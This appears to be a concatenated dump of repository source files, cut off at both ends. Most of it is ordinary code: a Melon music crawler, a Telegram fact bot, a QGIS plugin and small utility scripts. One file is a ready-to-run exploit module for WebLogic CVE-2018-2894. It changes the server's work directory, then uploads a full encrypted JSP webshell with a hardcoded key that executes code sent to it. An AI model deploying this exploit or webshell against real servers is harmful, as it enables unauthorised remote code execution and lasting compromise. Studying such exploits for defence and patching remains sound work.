{album_id} {album_title}')\n\n # Gather Album Information\n album_info = tree.xpath('/html/body/div[1]/div[3]/div/div/div[2]/div/div[2]/div[2]/dl')[0]\n info_keys = ('발매일', '장르')\n info_fields = get_info(album_info, info_keys)\n\n # Download Album Image\n album_image = tree.xpath('/html/body/div[1]/div[3]/div/div/div[2]/div/div[1]/a/img')[0]\n image_url = album_image.get('src').strip()\n try:\n result = urllib.request.urlretrieve(image_url)\n image_path = result[0]\n except urllib.error.URLError:\n image_path = None\n\n # Create Album\n album, _ = Album.objects.get_or_create(original_id=album_id)\n album.title = album_title\n album.release = to_date(info_fields[0])\n album.genre = info_fields[1]\n if image_path:\n album.image.save(os.path.basename(image_url), File(open(image_path, 'rb')))\n album.save()\n\n # Gather Artist Ids\n artists = tree.xpath('/html/body/div[1]/div[3]/div/div/div[2]/div/div[2]/div[1]/div[3]/div/ul/li[*]/a')\n if not artists:\n artists = tree.xpath('/html/body/div[1]/div[3]/div/div/div[2]/div/div[2]/div[1]/div[2]/a[*]')\n artist_ids = set()\n for artist in artists:\n artist_ids.add(get_id_lxml(artist))\n\n # Gather Music Ids\n music_ids = set()\n music_ratings = dict()\n music_artist_ids = dict()\n for music_elt in tree.xpath('//form/div/table/tbody/tr[*]'):\n music = music_elt.xpath(\".//a[contains(@href,'goSongDetail')]\")\n if not music:\n continue\n music_id = get_id_lxml(music[0])\n music_ids.add(music_id)\n\n rating = int(music_elt.xpath(\".//button/span[@class='cnt']\")[0].text_content().replace('총건수', '').strip())\n music_ratings[music_id] = rating\n\n artist_id_set = set()\n for artist in music_elt.xpath(\".//div[@class='ellipsis rank02']//a[contains(@href,'goArtistDetail')]\"):\n artist_id_set.add(get_id_lxml(artist))\n if not artist_id_set:\n artist = music_elt.xpath(\".//div[@class='ellipsis rank02']\")[0].text_content()\n if 'Various Artists' not in artist:\n raise Exception(f\"No artists on music {music_id}\")\n music_artist_ids[music_id] = artist_id_set\n\n return album_id, artist_ids, music_ids, music_ratings, music_artist_ids\n\n\ndef crawl_artist(worker_id, artist_id, driver, simple):\n artist_url = f'https://www.melon.com/artist/song.htm?artistId={artist_id}'\n tree = get_tree(artist_url)\n\n # First Creation\n artist = Artist.objects.filter(original_id=artist_id).first()\n member_ids = set()\n if artist:\n if not simple:\n print(f'{worker_id:02d} Artist {artist_id} {artist.name}')\n else:\n artist_name = tree.xpath(\"//p[@class='title_atist']\")[0].text_content().replace('아티스트명', '').strip()\n print(f'{worker_id:02d} Artist {artist_id} {artist_name}')\n\n # Gather Artist Information\n artist_info = tree.xpath(\"//dl[@class='atist_info clfix']\")[0]\n info_keys = ('활동유형', '데뷔', '소속사', '생일')\n info_fields = get_info(artist_info, info_keys)\n artist_debut = None\n if info_fields[1] is not None:\n artist_debut = info_fields[1].split()[0]\n\n # Create SoloArtist\n if info_fields[0] is not None and '솔로' in info_fields[0]:\n artist, _ = SoloArtist.objects.get_or_create(original_id=artist_id)\n artist_gender = None\n if '남성' in info_fields[0]:\n artist_gender = True\n if '여성' in info_fields[0]:\n artist_gender = False\n artist.gender = artist_gender\n artist.birthday = to_date(info_fields[3])\n artist.name = artist_name\n artist.debut = to_date(artist_debut)\n artist.agent = info_fields[2]\n artist.save()\n # Create GroupArtist\n elif info_fields[0] is not None and '그룹' in info_fields[0]:\n artist, _ = GroupArtist.objects.get_or_create(original_id=artist_id)\n artist.name = artist_name\n artist.debut = to_date(artist_debut)\n artist.agent = info_fields[2]\n artist.save()\n\n members = tree.xpath(\"//div[@class='wrap_atistname']/a[@class='atistname']\")\n for member in members:\n member_ids.add(get_id_lxml(member))\n # Create Artist\n else:\n artist, _ = Artist.objects.get_or_create(original_id=artist_id)\n artist.name = artist_name\n artist.debut = to_date(artist_debut)\n artist.agent = info_fields[2]\n artist.save()\n\n # Do not Crawl Heavily\n if simple:\n return artist_id, set(), member_ids\n\n # Gather Album Ids\n driver.get(artist_url)\n driver.find_element_by_xpath('//*[@id=\"POPULAR_SONG_LIST\"]').click()\n album_ids = set()\n for i in range(100):\n try:\n albums = driver.find_elements_by_xpath('/html/body/div/div[3]/div/div/div[4]/div[2]/form/div/table/tbody/tr[*]/td[5]/div/div/a')\n for album in albums:\n album_ids.add(get_id_selenium(album))\n except StaleElementReferenceException:\n continue\n break\n\n return artist_id, album_ids, member_ids\n\n\n@app.task\ndef crawl(crawler_id):\n while True:\n crawler = Crawler.objects.filter(pk=crawler_id).first()\n if crawler is not None:\n break\n time.sleep(0.1)\n crawler.status = 'Crawling'\n crawler.started = datetime.datetime.now()\n crawler.progress = 0\n crawler.save()\n\n crawling_thread_num = crawler.thread\n relating_thread_num = crawler.thread\n whole_task = 10 / crawling_thread_num + 1 / relating_thread_num\n crawling_ratio = 10 / crawling_thread_num / whole_task\n relating_ratio = 1 / relating_thread_num / whole_task\n\n options = webdriver.ChromeOptions()\n options.add_argument('headless')\n options.add_argument('window-size=1920x1080')\n options.add_argument('disable-gpu')\n options.add_argument('User-agent=Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_6) AppleWebKit/537.36 (KTHML, like Gecko) Chrome/61.0.3163.100 Safari/537.36')\n\n urls = (\n 'https://www.melon.com/genre/song_list.htm?gnrCode=GN0900&steadyYn=Y',\n 'https://www.melon.com/genre/song_list.htm?gnrCode=GN1000&steadyYn=Y',\n 'https://www.melon.com/genre/song_list.htm?gnrCode=GN1100&steadyYn=Y',\n 'https://www.melon.com/genre/song_list.htm?gnrCode=GN1200&steadyYn=Y',\n 'https://www.melon.com/genre/song_list.htm?gnrCode=GN1300&steadyYn=Y',\n 'https://www.melon.com/genre/song_list.htm?gnrCode=GN1400&steadyYn=Y',\n )\n\n crawled_ids = {'music': set(), 'album': set(), 'artist': set()}\n relations = {'music': {}, 'album': {}, 'artist': {}}\n fully_crawled_artist_ids = set()\n queue = Queue()\n error = Queue()\n threading_lock = threading.Lock()\n max_depth = crawler.level\n\n def update_crawler():\n crawler.detail = f'music {len(crawled_ids[\"music\"])}, album {len(crawled_ids[\"album\"])}, artist {len(crawled_ids[\"artist\"])}'\n crawler.elapsed = time.time() - crawler.started.timestamp()\n crawler.save()\n\n def is_crawled(crawl_type, crawl_id, simple):\n if 'artist' == crawl_type:\n with threading_lock:\n if crawl_id in fully_crawled_artist_ids:\n return True\n if simple and crawl_id in crawled_ids[crawl_type]:\n return True\n crawled_ids[crawl_type].add(crawl_id)\n if not simple:\n fully_crawled_artist_ids.add(crawl_id)\n return False\n with threading_lock:\n if crawl_id in crawled_ids[crawl_type]:\n return True\n crawled_ids[crawl_type].add(crawl_id)\n return False\n\n def emtpy_kwarg_list(id_list):\n return [(i, {}) for i in id_list]\n\n def worker(worker_id):\n print(f'Worker {worker_id} Spawned')\n driver = webdriver.Chrome(driver_path, chrome_options=options)\n\n def close_driver():\n try:\n driver.close()\n except Exception as e:\n print(e)\n pass\n while True:\n crawl_type, crawl_id, depth, kwargs = queue.get()\n if crawl_type is None:\n break\n try:\n # Run Work Items\n to_do_ids = {'music': set(), 'album': set(), 'artist': set()}\n if crawl_type == 'music':\n music_id, album_id, artist_ids = crawl_music(worker_id, crawl_id, **kwargs)\n relations['music'][music_id] = (album_id, artist_ids)\n to_do_ids['album'] = [(album_id, {})]\n to_do_ids['artist'] = emtpy_kwarg_list(artist_ids)\n elif crawl_type == 'album':\n album_id, artist_ids, music_ids, music_ratings, music_artist_ids = crawl_album(worker_id, crawl_id)\n if artist_ids:\n relations['album'][album_id] = artist_ids\n to_do_ids['artist'] = emtpy_kwarg_list(artist_ids)\n to_do_ids['music'] = [(music_id, {'album_id': album_id, 'rating': music_ratings[music_id], 'artist_ids': music_artist_ids[music_id]}) for music_id in music_ids]\n elif crawl_type == 'artist':\n artist_id, album_ids, member_ids = crawl_artist(worker_id, crawl_id, driver, depth > max_depth)\n if member_ids:\n relations['artist'][artist_id] = member_ids\n to_do_ids['album'] = emtpy_kwarg_list(album_ids)\n to_do_ids['artist'] = emtpy_kwarg_list(member_ids)\n else:\n raise Exception(f\"Illegal argument crawl_type: {crawl_type}\")\n\n # Add Work Items\n for crawl_type in ('music', 'album', 'artist'):\n for crawl_id, kwargs in to_do_ids[crawl_type]:\n if not is_crawled(crawl_type, crawl_id, depth + 1 > max_depth):\n queue.put((crawl_type, crawl_id, depth + 1, kwargs))\n except:\n # Alert to Main Thread That An Exception Has Occurred\n error.put(f'{traceback.format_exc()}\\n{(crawl_type, crawl_id, depth, kwargs)} on Worker {worker_id}')\n break\n finally:\n queue.task_done()\n close_driver()\n print(f'Worker {worker_id} Buried...')\n\n # Spawn Worker Threads\n workers = []\n for i in range(crawling_thread_num):\n t = threading.Thread(target=worker, args=(i + 1,))\n workers.append(t)\n t.daemon = True\n t.start()\n\n def join():\n with queue.mutex:\n queue.queue.clear()\n for _ in range(len(workers)):\n queue.put((None, None, None, None))\n for th in workers:\n th.join()\n\n # Gather Initial Artist Ids\n artist_ids = set()\n for url in urls:\n tree = get_tree(url)\n\n artists = tree.xpath('/html/body/div/div[3]/div/div/div[7]/form/div/table/tbody/tr[*]/td[5]/div/div/div[2]/a')\n for artist in artists:\n artist_ids.add(get_id_lxml(artist))\n\n # Put Initial Work Items\n last_time = time.time()\n for i, artist_id in enumerate(artist_ids):\n crawler.refresh_from_db()\n # Cancel\n if crawler.cancel:\n crawler.status = 'Canceled'\n crawler.remain = None\n update_crawler()\n join()\n print('Crawling Canceled')\n return\n\n # Update Progress\n progress = crawling_ratio * i / len(artist_ids)\n crawler.status = 'Crawling'\n crawler.progress = 100 * progress\n current_time = time.time()\n if progress != 0:\n crawler.remain = (current_time - last_time) / progress * (1 - progress)\n update_crawler()\n\n # Put Work Item\n if not is_crawled('artist', artist_id, False):\n queue.put(('artist', artist_id, 0, {}))\n\n # Wait While Observing Errors\n while queue.unfinished_tasks:\n if error.unfinished_tasks:\n crawler.status = 'Error Occurred'\n error_message = error.get()\n print(error_message)\n crawler.error = error_message\n crawler.remain = None\n update_crawler()\n join()\n print('Crawling Error Occurred')\n return\n time.sleep(1)\n\n # Crawling Finish\n crawler.status = 'Relation Constructing'\n crawler.progress = 50\n crawler.remain = None\n update_crawler()\n join()\n print('Crawling Finished')\n\n queue = Queue()\n error = Queue()\n\n def worker(worker_id):\n print(f'Worker {worker_id} Spawned')\n\n while True:\n chunk = queue.get()\n if chunk is None:\n break\n print(f'{chunk[0][0]} {chunk[0][1]}...{len(chunk)}')\n for model_type, model_id, arg1, arg2 in chunk:\n try:\n if model_type == 'music':\n music = Music.objects.get(original_id=model_id)\n music.album = Album.objects.get(original_id=arg1)\n for artist_id in arg2:\n music.artists.add(Artist.objects.get(original_id=artist_id))\n music.save()\n elif model_type == 'album':\n album = Album.objects.get(original_id=model_id)\n for artist_id in arg1:\n album.artists.add(Artist.objects.get(original_id=artist_id))\n album.save()\n elif model_type == 'artist':\n artist = GroupArtist.objects.get(original_id=model_id)\n for member_id in arg1:\n artist.members.add(Artist.objects.get(original_id=member_id))\n artist.save()\n else:\n raise Exception(f\"Illegal argument model_type: {model_type}\")\n time.sleep(0.05)\n except:\n # Alert to Main Thread That An Exception Has Occurred\n error.put(f'{traceback.format_exc()}\\n{(model_type, model_id, arg1, arg2)} on Worker {worker_id}')\n break\n queue.task_done()\n print(f'Worker {worker_id} Buried...')\n\n # Spawn Worker Threads\n workers = []\n for i in range(relating_thread_num):\n t = threading.Thread(target=worker, args=(i + 1,))\n workers.append(t)\n t.daemon = True\n t.start()\n\n def join():\n with queue.mutex:\n queue.queue.clear()\n for _ in range(len(workers)):\n queue.put(None)\n for th in workers:\n th.join()\n\n # Make Work Items\n chunk_size = 10\n items = []\n music_list = list(relations['music'].items())\n for i in range(0, len(music_list), chunk_size):\n music_chunk = music_list[i:i+chunk_size]\n items.append([('music', music_id, album_id, artist_ids) for music_id, (album_id, artist_ids) in music_chunk])\n album_list = list(relations['album'].items())\n for i in range(0, len(album_list), chunk_size):\n album_chunk = album_list[i:i+chunk_size]\n items.append([('album', album_id, artist_ids, None) for album_id, artist_ids in album_chunk])\n artist_list = list(relations['artist'].items())\n for i in range(0, len(artist_list), chunk_size):\n artist_chunk = artist_list[i:i+chunk_size]\n items.append([('artist', artist_id, member_ids, None) for artist_id, member_ids in artist_chunk])\n shuffle(items)\n\n def provider():\n for chunk in items:\n queue.put(chunk)\n\n # Put and Wait\n t = threading.Thread(target=provider)\n t.daemon = True\n t.start()\n total = len(items)\n last_time = time.time()\n while queue.unfinished_tasks:\n crawler.refresh_from_db()\n # Cancel\n if crawler.cancel:\n crawler.status = 'Canceled'\n crawler.remain = None\n update_crawler()\n join()\n print('Crawling Canceled')\n return\n\n # Update Progress\n progress = crawling_ratio + relating_ratio * (total - queue.unfinished_tasks) / total\n crawler.status = 'Relating'\n crawler.progress = 100 * progress\n current_time = time.time()\n if progress - crawling_ratio != 0:\n crawler.remain = (current_time - last_time) / (progress - crawling_ratio) * (1 - progress)\n update_crawler()\n\n for _ in range(10):\n if not queue.unfinished_tasks:\n break\n if error.unfinished_tasks:\n crawler.status = 'Error Occurred'\n error_message = error.get()\n print(error_message)\n crawler.error = error_message\n crawler.remain = None\n update_crawler()\n join()\n print('Relating Error Occurred')\n return\n time.sleep(1)\n\n # Relating Finish\n crawler.status = 'Finished'\n crawler.progress = 100\n crawler.remain = None\n update_crawler()\n join()\n print('Entire Crawling Finished')\n","repo_name":"holenet/cid-backend","sub_path":"manager/tasks.py","file_name":"tasks.py","file_ext":"py","file_size_in_byte":21214,"program_lang":"python","lang":"en","doc_type":"code","dataset":"github-code","pt":"21"} +{"seq_id":"42825456672","text":"from rsrl.evaluator import Evaluator\nfrom rsrl.util.logger import EpochLogger, setup_logger_kwargs\nfrom rsrl.util.run_util import setup_eval_configs\n\nfrom robustness.agents import Agent\n\n\nclass PPOVanilla(Agent):\n def __init__(self, load_dir):\n super().__init__()\n\n model_path, config = setup_eval_configs(load_dir)\n evaluator = Evaluator(**config, config_dict=config)\n evaluator._init_env()\n logger_kwargs = setup_logger_kwargs(evaluator.exp_name, evaluator.seed, data_dir=evaluator.data_dir,\n datestamp=False, use_tensor_board=False)\n evaluator.logger = EpochLogger(**logger_kwargs)\n evaluator._init_policy()\n evaluator.policy.load_model(model_path)\n \n self.policy = evaluator.policy\n\n def next_action(self, obs):\n _, action = self.policy.get_risk_estimation(obs)\n return action\n \n def reset(self):\n pass\n","repo_name":"SteveZhangBit/STL-Robustness","sub_path":"robustness/agents/rsrl.py","file_name":"rsrl.py","file_ext":"py","file_size_in_byte":953,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"16201776162","text":"\"\"\"Sound\n\"\"\"\n\n__version__ = \"0.1\"\n\nimport os\n# Get the current working directory\nproject_dir = os.path.abspath(os.curdir)\n\n# Define the model directory\nmodel_dir = os.path.join(project_dir, \"data\", \"06_models\")\n\n# Define the MLflow tracking URI\nos.environ[\"MLFLOW_TRACKING_URI\"] = \"file://{}\".format(model_dir)","repo_name":"Athroniaeth/industrialisation_modeles_ml","sub_path":"src/sound/__init__.py","file_name":"__init__.py","file_ext":"py","file_size_in_byte":310,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"1267041598","text":"#MenuTitle: Tab with glyphs containing corners or caps\n'''\nSimple script to open a new tab with all glyphs that have \ncorners or caps in any of their layers\n'''\nfont = Glyphs.fonts[0]\nglyphsWithCornersOrCaps = []\n\nfor glyph in font.glyphs:\n for layer in glyph.layers:\n for hint in layer.hints:\n if hint.type == 16 or hint.type == 17: # 16-corner 17-cap\n glyphsWithCornersOrCaps.append(glyph)\n\nglyphsWithCornersOrCaps = set(glyphsWithCornersOrCaps)\nfont.newTab(\" \".join([\"/\" + g.name for g in glyphsWithCornersOrCaps]))\n","repo_name":"underscoretype/underscore-glyphs-scripts","sub_path":"new_tab_with_glyphs_with_corners_or_caps.py","file_name":"new_tab_with_glyphs_with_corners_or_caps.py","file_ext":"py","file_size_in_byte":555,"program_lang":"python","lang":"en","doc_type":"code","stars":5,"dataset":"github-code","pt":"21"} +{"seq_id":"24841284218","text":"# -*- coding: utf-8 -*-\r\n\"\"\"\r\nCreated on Thu Jun 18 13:27:02 2020\r\n\r\n@author: KRISHNA\r\n\"\"\"\r\nf=open(\"RSRCE/sbce.txt\",\"r\")\r\nclctn=[]\r\nfor i in f:\r\n abc=i.split()\r\n cdf=[abc[0],abc[2].split(\"+\")]\r\n clctn.append(cdf)\r\nfor i in clctn:\r\n #print(\"\\n\"+i[0])\r\n name=[]\r\n match=[]\r\n for j in clctn:\r\n ss=0\r\n for k in range(6):\r\n abc=float(i[1][k])\r\n cde=float(j[1][k])\r\n val=min(abc,cde)\r\n ss+=val\r\n name.append(j[0])\r\n match.append(ss)\r\n #for j in range(len(name)):\r\n # print(\"Score \"+name[j]+\" :\"+str(match[j]))\r\n best=match.index(max(match))\r\n del match[best]\r\n del name[best]\r\n best=match.index(max(match))\r\n print(\"Best match for \"+i[0]+\" is \"+name[best]+\" with a score of \"+str(match[best]))","repo_name":"dhimansaha18/Chracter-Map-Generation-with-NLP","sub_path":"Project_X/compare.py","file_name":"compare.py","file_ext":"py","file_size_in_byte":804,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"21"} +{"seq_id":"19201841873","text":"import telebot\nimport config\nfrom art import *\n\nArt = text2art(\"BOT STARTED\", font=\"random\")\nprint(Art)\n\nbot = telebot.TeleBot(config.TOKEN, parse_mode='html')\n\nrequests_dict = {\n \"Technologies\": config.technologies_request,\n \"Geography\": config.geography_request,\n \"Science\": config.science_request,\n \"History\": config.history_request,\n \"Culture\": config.culture_request,\n \"Geology\": config.geology_request\n}\n\nstart_buttons = [\"Fact with image\", \"Fact without image\"]\n\n\ndef send_fact(chat_id, photo_path, caption):\n with open(photo_path, 'rb') as photo:\n bot.send_photo(chat_id, photo=photo, caption=caption + \"\\n\\nThe following fact was generated by the AI ChatGPT 3.5 \\nThe following image was generated by the AI DALL·E 2\\n\\nSelect the mode again: /start\", parse_mode='html')\n\n\nclass UserState:\n def __init__(self):\n self.is_choosing_mode = False\n self.is_choosing_category = False\n self.selected_mode = None\n self.selected_category = None\n\n\nuser_state_dict = {}\n\n\n@bot.message_handler(commands=['start'])\ndef welcome(message):\n markup = telebot.types.ReplyKeyboardMarkup(resize_keyboard=True, row_width=3)\n buttons = [telebot.types.KeyboardButton(name) for name in start_buttons]\n markup.add(*buttons)\n\n bot.send_message(message.chat.id, config.hi, parse_mode='html', reply_markup=markup)\n bot.send_message(message.chat.id, \"Choose the mode\", parse_mode='html', reply_markup=markup)\n user_state = UserState()\n user_state.is_choosing_mode = True\n user_state_dict[message.chat.id] = user_state\n\n\n@bot.message_handler(content_types=['text'])\ndef text(message):\n user_state = user_state_dict.get(message.chat.id)\n if not user_state:\n user_state = UserState()\n user_state_dict[message.chat.id] = user_state\n\n if message.chat.type == \"private\":\n if user_state.is_choosing_mode:\n if message.text in start_buttons:\n user_state.selected_mode = message.text\n user_state.is_choosing_mode = False\n user_state.is_choosing_category = True\n markup = telebot.types.ReplyKeyboardMarkup(resize_keyboard=True, row_width=3)\n buttons = [telebot.types.KeyboardButton(name) for name in requests_dict.keys()]\n markup.add(*buttons)\n bot.send_message(message.chat.id, \"Select the category\", parse_mode='html', reply_markup=markup)\n elif user_state.is_choosing_category:\n if message.text in requests_dict.keys():\n user_state.selected_category = message.text\n user_state.is_choosing_category = False\n bot.send_message(message.chat.id, f\"Selected category: {user_state.selected_category}\")\n if user_state.selected_mode == \"Fact without image\":\n text_n(message, user_state)\n else:\n text_i(message, user_state)\n user_state.is_choosing_category = True\n user_state.selected_category = None\n\n\ndef text_n(message, user_state):\n if message.chat.type == \"private\":\n request = requests_dict.get(user_state.selected_category)\n if request:\n bot.send_message(message.chat.id, \"Generating fact...\")\n text = config.fact(request)\n bot.send_message(message.chat.id, text + \"\\n\\nThe following fact was generated by the AI ChatGPT 3.5 \\n\\nSelect the mode again: /start\", parse_mode='html')\n\n\ndef text_i(message, user_state):\n if message.chat.type == \"private\":\n request = requests_dict.get(user_state.selected_category)\n if request:\n bot.send_message(message.chat.id, \"Generating fact and image...\")\n photo, caption = config.fact_image(request)\n send_fact(message.chat.id, photo, caption)\n\n\nbot.polling(none_stop=True)\n\n","repo_name":"Shrram-Developer/Facts","sub_path":"Bot/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":3910,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"32287441020","text":"import pocs\nfrom lib import config\nfrom lib import output\nimport re\nimport requests\nimport urllib3\nfrom colorama import init\nurllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)\ninit(autoreset=False) \n\nclass POC(pocs.Pocs):\n\n def __init__(self):\n '''\n 初始化函数\n '''\n # 根据漏洞的信息进行定义\n super().__init__()\n self.poc_name='weblgic 任意文件上传漏洞'\n self.vul_name='weblgic 任意文件上传漏洞'\n self.vul_num='CVE-2018—2894'\n self.app_name='weblgic'\n self.app_version='10.3.6 12.1.3 12.2.1'\n self.author='haochen'\n self.output = output.cmd_output()\n self.msg=\"在知道部署应用到web目录以及ws_utc/config.do存在的情况下可以利用\"\n # 根据需要的参数进行定义,被攻击的url或ip必须定义为target\n self.must_parameter={\n 'target' : ''\n }\n\n def exploit(self,must_parameter,cho_parameter):\n '''\n 扫描使用的函数\n '''\n # 自由发挥\n att_msg={}\n # 将攻击的目标和poc名称导入\n url = must_parameter['target']\n ip=url.replace('http:','').replace('https:','').replace('/','')\n self.must_parameter = must_parameter\n head = config.Pack\n head1 = {\n 'Host': ip,\n 'User-Agent': 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:93.0) Gecko/20100101 Firefox/93.0',\n 'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8',\n 'Accept-Language': 'zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2',\n 'Accept-Encoding': 'gzip, deflate',\n 'Content-Type': 'multipart/form-data;',\n 'boundary':'---------------------------3235904419448070938604240789',\n 'Content-Length': '1410',\n 'Connection': 'close',\n 'Cookie': 'JSESSIONID=_frqtfvQQDwgTIcVK2_NyDJKQvLx38sWsB65Ediv9fFWv_vuwRRU!-1652605611',\n 'Upgrade-Insecure-Requests': '1',\n 'Sec-Fetch-Dest': 'iframe',\n 'Sec-Fetch-Mode': 'navigate',\n 'Sec-Fetch-Site': 'same-origin',\n 'Sec-Fetch-User': '?1'\n }\n data1 = {\n 'setting_id':'general',\n 'BasicConfigOptions.workDir':'%2Fu01%2Foracle%2Fuser_projects%2Fdomains%2Fbase_domain%2Fservers%2FAdminServer%2Ftmp%2F_WL_internal%2Fcom.oracle.webservices.wls.ws-testclient-app-wls%2F4mcj4y%2Fwar%2Fcss',\n 'BasicConfigOptions.proxyHost':'',\n 'BasicConfigOptions.proxyPort':'80'\n }\n data2={\n '':'''-----------------------------3235904419448070938604240789\nContent-Disposition: form-data; name=\"ks_name\"\n\n1\n-----------------------------3235904419448070938604240789\nContent-Disposition: form-data; name=\"ks_edit_mode\"\n\nfalse\n-----------------------------3235904419448070938604240789\nContent-Disposition: form-data; name=\"ks_password_front\"\n\n1\n-----------------------------3235904419448070938604240789\nContent-Disposition: form-data; name=\"ks_password\"\n\n1\n-----------------------------3235904419448070938604240789\nContent-Disposition: form-data; name=\"ks_password_changed\"\n\ntrue\n-----------------------------3235904419448070938604240789\nContent-Disposition: form-data; name=\"ks_filename\"; filename=\"shell.jsp\"\nContent-Type: application/octet-stream\n\n<%@page import=\"java.util.*,javax.crypto.*,javax.crypto.spec.*\"%><%!class U extends ClassLoader{U(ClassLoader c){super(c);}public Class g(byte []b){return super.defineClass(b,0,b.length);}}%><%if (request.getMethod().equals(\"POST\")){String k=\"e45e329feb5d925b\";/*�ƥ:ޥ�\u000132Mmd5<�M16M\fؤޥ�\u0001rebeyond*/session.putValue(\"u\",k);Cipher c=Cipher.getInstance(\"AES\");c.init(2,new SecretKeySpec(k.getBytes(),\"AES\"));new U(this.getClass().getClassLoader()).g(c.doFinal(new sun.misc.BASE64Decoder().decodeBuffer(request.getReader().readLine()))).newInstance().equals(pageContext);}%>\n-----------------------------3235904419448070938604240789--'''\n }\n self.payload='/ws_utc/resources/setting/options'\n self.payload2 = '/ws_utc/resources/setting/keystore?timestamp=1636026737832'\n if re.search('/$',url):\n url=url[0:len(url)-1]\n target = url + self.payload\n target2 = url + self.payload2\n try:\n response = requests.post(target,headers=head,data=data1)\n # 攻击完成后需要将攻击的结果写入\n if response.status_code == 200:\n self.output.output_info('修改路径成功!')\n response2 = requests.post(target2,headers=head1,data=data2)\n if response2.status_code == 200:\n self.output.output_info('木马上上传成功!')\n else:\n self.output.output_error('木马上传失败!'+str(response2.status_code))\n else:\n self.output.output_error('修改路径失败!'+str(response.status_code))\n except:\n self.output.output_error('访问网站时发生错误!'+str(response2.status_code))\n return att_msg","repo_name":"haochen1204/FrostBlade","sub_path":"FrostBlade/pocs/exploits/weblgic/cve_2018_2894.py","file_name":"cve_2018_2894.py","file_ext":"py","file_size_in_byte":5175,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"21"} +{"seq_id":"30614952179","text":"from PyQt4 import QtCore, QtGui, QtXml\n\nfrom qgis import core as QgsCore, gui as QgsGui, utils as QgsUtils\n\n\nclass PolygonEffectsCanvas():\n def __init__(self):\n self.canvas = QgsUtils.iface.mapCanvas()\n self.crs = None # setCRS if need\n self.color = QtGui.QColor(255,0,0)\n\n def setCRS(self, crs):\n self.crs = crs\n\n def zoom(self, extent):\n extentTransform = extent \n crsCanvas = self.canvas.mapSettings().destinationCrs()\n if not self.crs == crsCanvas:\n ct = QgsCore.QgsCoordinateTransform( self.crs, crsCanvas )\n extentTransform = ct.transform( extent )\n self.canvas.setExtent( extentTransform )\n self.canvas.zoomByFactor(1.05)\n self.canvas.refresh()\n \n def highlight(self, geom, seconds=2):\n def removeRB():\n rb.reset( True )\n self.canvas.scene().removeItem( rb )\n\n geomTransform = geom\n crsCanvas = self.canvas.mapSettings().destinationCrs()\n if not self.crs == crsCanvas:\n ct = QgsCore.QgsCoordinateTransform( self.crs, crsCanvas )\n geomTransform.transform( ct )\n\n rb = QgsGui.QgsRubberBand( self.canvas, QgsCore.QGis.Polygon)\n rb.setBorderColor( self.color )\n rb.setWidth(2)\n rb.setToGeometry( geomTransform, None )\n QtCore.QTimer.singleShot( seconds*1000, removeRB )\n\nclass LegendRaster(object):\n def __init__(self, pluginName):\n def initLegendLayer():\n self.legendLayer = [\n {\n 'menu': u\"Highlight\",\n 'id': \"idHighlight\",\n 'slot': self.highlight,\n 'action': None\n },\n {\n 'menu': u\"Zoom to\",\n 'id': \"idZoom\",\n 'slot': self.zoom,\n 'action': None\n },\n {\n 'menu': u\"Open form(table)\",\n 'id': \"idForm\",\n 'slot': self.openForm,\n 'action': None\n }\n ]\n for item in self.legendLayer:\n item['action'] = QtGui.QAction( item['menu'], None )\n item['action'].triggered.connect( item['slot'] )\n self.legendInterface.addLegendLayerAction( item['action'], self.pluginName, item['id'], QgsCore.QgsMapLayer.RasterLayer, False )\n\n self.pluginName = pluginName\n self.msgBar = QgsUtils.iface.messageBar()\n self.legendInterface = QgsUtils.iface.legendInterface()\n initLegendLayer() # Set self.legendLayer \n self.polygonEC = PolygonEffectsCanvas()\n \n def __del__(self):\n for item in self.legendLayer:\n self.legendInterface.removeLegendLayerAction( item['action'] )\n\n def setLayer(self, layer):\n for item in self.legendLayer:\n self.legendInterface.addLegendLayerActionForLayer( item['action'], layer )\n\n @QtCore.pyqtSlot()\n def zoom(self):\n layer = self.legendInterface.currentLayer()\n extent = layer.extent()\n self.polygonEC.setCRS( layer.crs() )\n self.polygonEC.zoom( extent )\n geom = QgsCore.QgsGeometry.fromRect( extent )\n self.polygonEC.highlight( geom )\n\n @QtCore.pyqtSlot()\n def highlight(self):\n layer = self.legendInterface.currentLayer()\n geom = QgsCore.QgsGeometry.fromRect( layer.extent() )\n self.polygonEC.highlight( geom )\n\n @QtCore.pyqtSlot()\n def openForm(self):\n pass\n\nclass LegendTMSXml(LegendRaster):\n def __init__(self, pluginName):\n super(LegendRasterGeom, self).__init__( pluginName )\n\n def _getExtent(self, layer):\n def getTargetWindow():\n nodes = doc.elementsByTagName('TargetWindow')\n node = nodes.item( 0 )\n targetWindow = { 'ulX': None, 'ulY': None, 'lrX': None, 'lrY': None }\n labels = { 'UpperLeftX': 'ulX', 'UpperLeftY': 'ulY', 'LowerRightX': 'lrX', 'LowerRightY': 'lrY' }\n for key, value in labels.iteritems():\n text = node.firstChildElement( key ).text()\n if len( text ) == 0:\n continue\n targetWindow[ value ] = float( text )\n return targetWindow\n\n doc = QtXml.QDomDocument()\n file = QtCore.QFile( layer.source() )\n doc.setContent( file )\n file.close()\n\n tw = getTargetWindow()\n return QgsCore.QgsRectangle( tw['ulX'], tw['lrY'], tw['lrX'], tw['ulY'] )\n\n @QtCore.pyqtSlot()\n def zoom(self):\n layer = self.legendInterface.currentLayer()\n extent = self._getExtent( layer )\n self.polygonEC.setCRS( layer.crs() )\n self.polygonEC.zoom( extent )\n geom = QgsCore.QgsGeometry.fromRect( extent )\n self.polygonEC.highlight( geom )\n\n @QtCore.pyqtSlot()\n def highlight(self):\n layer = self.legendInterface.currentLayer()\n extent = self.self._getExtent( layer )\n geom = QgsCore.QgsGeometry.fromRect( extent )\n self.polygonEC.setCRS( layer.crs() )\n self.polygonEC.highlight( geom )\n\nclass LegendRasterGeom(LegendRaster):\n def __init__(self, pluginName):\n 